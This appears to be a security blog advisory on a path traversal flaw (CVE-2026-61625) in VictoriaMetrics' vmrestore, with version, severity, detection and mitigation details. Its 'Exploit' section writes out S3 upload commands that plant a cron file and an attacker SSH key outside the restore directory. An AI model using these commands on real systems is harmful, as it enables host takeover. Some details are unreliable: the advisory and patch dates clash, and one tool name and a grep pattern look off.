Listen to this Post
CVE-2026-61625 is a path traversal vulnerability (CWE-22) identified in the `vmrestore` utility of VictoriaMetrics, a scalable time-series database solution. The flaw exists in versions prior to 1.122.25, 1.136.12, and 1.146.0, where `vmrestore` fails to validate backup part path components before writing restored files to the local filesystem.
The vulnerable code paths reside in `lib/backup/actions/restore.go` and lib/backup/fslocal/fslocal.go. An attacker with write access to the backup storage source—such as an S3, GCS, or Azure Blob Storage bucket—can craft object names containing `..` directory traversal sequences. When an operator initiates a restore operation using this malicious backup source, `vmrestore` blindly uses these unsanitized path components to construct file system paths.
The utility writes files relative to the `-storageDataPath` restore root directory without validating that the resolved path remains within this intended boundary. As a result, crafted `..` components can escape the restore root and cause files to be created or overwritten at arbitrary locations on the host system.
The CVSS v3.1 base score is 6.8 (Medium severity), with the vector: AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N. The attack vector is network-based, requires low attack complexity, low privileges, and user interaction. The scope is changed, with high integrity impact but no confidentiality or availability impact. The EPSS score is 0.00303 (0.30% probability of active exploitation within 30 days), and no public functional exploits are currently available.
VictoriaMetrics’ security model assumes backup sources are trusted and access-controlled. Therefore, exploitation requires the attacker to already have write access to the backup storage used as the `-src` for vmrestore. Under properly secured deployments with restricted backup storage access, unauthorized exploitation is not possible. The vulnerability was discovered by Thai Son Dinh and Nguyen Huy Vu Dung from VinSOC Labs. The fix was implemented in commit 710c920.
DailyCVE Form:
Platform: VictoriaMetrics vmrestore
Version: <1.122.25 / 1.123.0-1.136.11 / 1.137.0-1.145.0
Vulnerability: Path Traversal (CWE-22)
Severity: Medium (CVSS 6.8)
Date: 2026-08-20
Prediction: Patch expected 2026-07-13 (advisory date)
What Undercode Say:
Check vmrestore version vmrestore --version List affected versions Fixed: 1.122.25, 1.136.12, 1.146.0 Verify backup source objects for path traversal sequences aws s3api list-objects --bucket YOUR_BUCKET --query 'Contents[].Key' | grep -E '../' Scan for suspicious object names gcsutil ls gs://YOUR_BUCKET | grep -E '../' Restore with proper validation (fixed version) vmrestore -src gs://backup-bucket -storageDataPath /data/victoria-metrics
Exploit: (Educational Purposes!)
Attacker crafts malicious object names in compromised S3 bucket aws s3api put-object --bucket compromised-backup --key "../../etc/cron.d/malicious" --body payload.sh aws s3api put-object --bucket compromised-backup --key "../../root/.ssh/authorized_keys" --body attacker_key.pub When operator runs vulnerable vmrestore: vmrestore -src s3://compromised-backup -storageDataPath /data/victoria-metrics Result: Files written outside /data/victoria-metrics: /etc/cron.d/malicious /root/.ssh/authorized_keys
Protection
- Upgrade to patched versions: 1.122.25, 1.136.12, or 1.146.0 immediately
- Restrict write access to backup storage using strict IAM policies
- Enforce principle of least privilege when granting backup storage access
- Scan remote backup object keys for `../` sequences before restore operations
- Use read-only credentials for restoration tasks
- Validate all source parts against the destination directory
Impact
An attacker with write access to the backup storage can cause arbitrary files to be created or overwritten on the host running vmrestore, within the limits of the process’s filesystem permissions. Depending on process privileges, this can lead to host compromise via remote code execution. The vulnerability does not affect confidentiality or availability directly, but integrity impact is high.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
